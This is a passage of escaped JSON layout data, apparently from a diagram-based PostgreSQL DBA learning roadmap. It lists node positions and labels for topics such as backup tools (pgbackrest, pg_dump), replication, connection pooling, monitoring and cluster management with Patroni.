\"style\": {\n        \"width\": 133,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 219.22376611000715,\n        \"y\": 1126.7864148020974\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 133,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"EKwO6edtFnUw8cPCcVwKJ\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 114.22376611000715,\n        \"y\": 1179.7864148020974\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"SSL Settings\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 236,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 236,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 114.22376611000715,\n        \"y\": 1179.7864148020974\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 236,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"zlqSX0tl7HD9C1yEGkvoM\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -169.8711635383321,\n        \"y\": 1221.7417239948313\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Infrastructure Skills\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"VjQ71xorBoxxDn-wSmUjm\"\n      },\n      \"zIndex\": 999,\n      \"width\": 198,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": -169.8711635383321,\n        \"y\": 1221.7417239948313\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 198,\n        \"height\": 49\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 198,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"cJYlZJ9f3kdptNrTlpMNU\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -172.83693407184376,\n        \"y\": 1472.000355466286\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Using `pg_upgrade`\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"Z2PuOmgOqScGFbhvrvrA1\"\n      },\n      \"zIndex\": 999,\n      \"width\": 243,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 243,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -172.83693407184376,\n        \"y\": 1472.000355466286\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 243,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"MVVWAf9Hk3Fom-wBhO64R\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -172.83693407184376,\n        \"y\": 1525.000355466286\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Using Logical Replication\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 243,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 243,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -172.83693407184376,\n        \"y\": 1525.000355466286\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 243,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"rNp3ZC6axkcKtAWYCPvdR\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -167.261518097656,\n        \"y\": 1790.8192391913342\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Simple Stateful Setup\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 235,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 235,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -167.261518097656,\n        \"y\": 1790.8192391913342\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 235,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"QHbdwiMQ8otxnVIUVV2NT\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -167.261518097656,\n        \"y\": 1843.8192391913342\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Helm\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 101,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 101,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -167.261518097656,\n        \"y\": 1843.8192391913342\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 101,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"nRJKfjW2UrmKmVUrGIfCC\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -62.261518097655994,\n        \"y\": 1843.8192391913342\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Operators\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 129,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 129,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -62.261518097655994,\n        \"y\": 1843.8192391913342\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 129,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Z2PuOmgOqScGFbhvrvrA1\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -171.261518097656,\n        \"y\": 1360.6981361521084\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"PostgreSQL Anonymizer\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 243,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 243,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -171.261518097656,\n        \"y\": 1360.6981361521084\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 243,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"V8_zJRwOX9664bUvAGgff\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -166.75848083257222,\n        \"y\": 1951.6557349828333\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"HAProxy\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 126,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 126,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -166.75848083257222,\n        \"y\": 1951.6557349828333\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 126,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"IkB28gO0LK1q1-KjdI9Oz\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -35.223504050749455,\n        \"y\": 1950.6557349828333\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Consul\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 101,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 101,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -35.223504050749455,\n        \"y\": 1950.6557349828333\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 101,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"xk2G-HUS-dviNW3BAMmJv\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -166.75848083257222,\n        \"y\": 2004.6557349828333\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"KeepAlived\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 127,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 127,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -166.75848083257222,\n        \"y\": 2004.6557349828333\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 127,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"kCw6oEVGdKokCz4wYizIT\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -35.223504050749455,\n        \"y\": 2004.6557349828333\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Etcd\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 101,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 101,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -35.223504050749455,\n        \"y\": 2004.6557349828333\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 101,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"XmBeM01NAy-_nfyNdk9ZV\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 100.65017017167162,\n        \"y\": 1870.7354491981566\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Prometheus\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 153,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 153,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 100.65017017167162,\n        \"y\": 1870.7354491981566\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 153,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"z3VD68R2uyu1s-3giRxKr\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 257.8872234914349,\n        \"y\": 1870.7354491981566\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Zabbix\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 141,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 141,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 257.8872234914349,\n        \"y\": 1870.7354491981566\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 141,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"WiOgUt5teG9UVRa6zo4h3\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 100.65017017167162,\n        \"y\": 1925.530058061681\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"check_pgactivity\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"SNnc8CIKuHUAEZaJ_qEar\"\n      },\n      \"zIndex\": 999,\n      \"width\": 210,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 210,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 100.65017017167162,\n        \"y\": 1925.530058061681\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 210,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"aXG68inOu3trBWOmg9Yqx\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 405.6465257138355,\n        \"y\": 1870.7354491981566\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"temBoard\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 133,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 133,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 405.6465257138355,\n        \"y\": 1870.7354491981566\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 133,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"DDPuDDUFxubWZmWXCmF7L\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 313.3872234914349,\n        \"y\": 1925.530058061681\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"check_pgbackrest\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 227,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 227,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 313.3872234914349,\n        \"y\": 1925.530058061681\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 227,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"-XhONB0FBA6UslbDWoTDv\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 85.6465257138355,\n        \"y\": 1442.400520645447\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"barman\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 101,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 101,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 85.6465257138355,\n        \"y\": 1442.400520645447\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 101,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"4gQSzH-WKFAvmkwlX_oyR\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 190.6465257138355,\n        \"y\": 1442.400520645447\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"WAL-G\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 101,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 101,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 190.6465257138355,\n        \"y\": 1442.400520645447\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 101,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"5LLYxCj22RE6Nf0fVm8GO\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 85.6465257138355,\n        \"y\": 1495.400520645447\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"pgbackrest\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 208,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 208,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 85.6465257138355,\n        \"y\": 1495.400520645447\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 208,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Id_17Ya-NUvoXxijAZvmW\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 87.6465257138355,\n        \"y\": 1548.400520645447\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"pg_probackup\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 207,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 207,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 87.6465257138355,\n        \"y\": 1548.400520645447\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 207,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"XZ922juBJ8Om0WyGtSYT5\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 300.1465257138355,\n        \"y\": 1440.400520645447\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"pg_dump\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 109,\n      \"height\": 49,\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 109,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 300.1465257138355,\n        \"y\": 1440.400520645447\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 109,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"QmV-J6fPYQ5CcdGUkBs7y\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 410.1465257138355,\n        \"y\": 1440.400520645447\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"pg_dumpall\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 127,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 127,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 410.1465257138355,\n        \"y\": 1440.400520645447\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 127,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"YSprRhPHkzV8SzDYpIVmp\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 301.1465257138355,\n        \"y\": 1493.400520645447\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"pg_restore\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"te4PZaqt6-5Qu8rU0w6a1\"\n      },\n      \"zIndex\": 999,\n      \"width\": 236,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 236,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 301.1465257138355,\n        \"y\": 1493.400520645447\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 236,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"XYaVsj5_48CSnoTSGXBbN\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 300.1465257138355,\n        \"y\": 1546.400520645447\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"pg_basebackup\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 237,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 237,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 300.1465257138355,\n        \"y\": 1546.400520645447\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 237,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"te4PZaqt6-5Qu8rU0w6a1\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 87.6465257138355,\n        \"y\": 1601.400520645447\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Backup Validation Procedures\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"colorType\": \"c\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 451,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 451,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 87.6465257138355,\n        \"y\": 1601.400520645447\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 451,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"aKQI7aX4bT_39bZgjmfoW\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 312.03795446099986,\n        \"y\": 1716.0594786320532\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"PgBouncer\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 226,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 226,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 312.03795446099986,\n        \"y\": 1716.0594786320532\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 226,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"3V1PPIeB0i9qNUsT8-4O-\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 312.03795446099986,\n        \"y\": 1769.0594786320532\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"PgBouncer Alternatives\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 226,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 226,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 312.03795446099986,\n        \"y\": 1769.0594786320532\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 226,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Bf2zDZzFifTcULQLTgo3P\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 305.6465257138355,\n        \"y\": 1671.0745904996627\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Connection Pooling\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 226,\n      \"height\": 36,\n      \"style\": {\n        \"width\": 226\n      },\n      \"positionAbsolute\": {\n        \"x\": 305.6465257138355,\n        \"y\": 1671.0745904996627\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 226,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"rmsIw9CQa1qcQ_REw76NK\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 89.28920267440282,\n        \"y\": 1716.561157912725\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Logical Replication\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 216,\n      \"height\": 49,\n      \"style\": {\n        \"height\": 49,\n        \"width\": 216\n      },\n      \"positionAbsolute\": {\n        \"x\": 89.28920267440282,\n        \"y\": 1716.561157912725\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 216,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"MwLlVbqceQ-GTgPJlgoQY\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 89.28920267440282,\n        \"y\": 1769.561157912725\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Streaming Replication\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 216,\n      \"height\": 49,\n      \"style\": {\n        \"height\": 49,\n        \"width\": 216\n      },\n      \"positionAbsolute\": {\n        \"x\": 89.28920267440282,\n        \"y\": 1769.561157912725\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 216,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"oLEw-0OJNVb0NtJXwEvVA\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 87.6465257138355,\n        \"y\": 1671.0745904996627\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Replication\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 216,\n      \"height\": 36,\n      \"style\": {\n        \"width\": 216\n      },\n      \"positionAbsolute\": {\n        \"x\": 87.6465257138355,\n        \"y\": 1671.0745904996627\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 216,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"MhvAej3EBOtNyugTxGRD6\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": -115.3654446070235,\n        \"y\": 1324.6981361521084\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Anonymization\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"oldId\": \"BEiM6o6lMRF_g9BKmfbrL\"\n      },\n      \"zIndex\": 999,\n      \"width\": 128,\n      \"height\": 36,\n      \"positionAbsolute\": {\n        \"x\": -115.3654446070235,\n        \"y\": 1324.6981361521084\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 128,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"Maec9Io8FTVVn3bu5uw79\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": -140.33693407184376,\n        \"y\": 1429.495555762713\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Upgrade Procedures\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"oldId\": \"BEiM6o6lMRF_g9BKmfbrL\"\n      },\n      \"zIndex\": 999,\n      \"width\": 178,\n      \"height\": 36,\n      \"positionAbsolute\": {\n        \"x\": -140.33693407184376,\n        \"y\": 1429.495555762713\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 178,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"AZ_6pNlCVU_bGkecvnLEy\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": -140.77942699446805,\n        \"y\": 1590.5525768330726\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Cluster Management\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"oldId\": \"BEiM6o6lMRF_g9BKmfbrL\"\n      },\n      \"zIndex\": 999,\n      \"width\": 179,\n      \"height\": 36,\n      \"positionAbsolute\": {\n        \"x\": -140.77942699446805,\n        \"y\": 1590.5525768330726\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 179,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"mm0K_8TFicrYdZQvWFkH4\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -173.27942699446805,\n        \"y\": 1630.0194143577883\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Patroni\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"TZvZ_jNjWnM535ZktyhQN\"\n      },\n      \"zIndex\": 999,\n      \"width\": 244,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": -173.27942699446805,\n        \"y\": 1630.0194143577883\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 244,\n        \"height\": 49\n      },\n      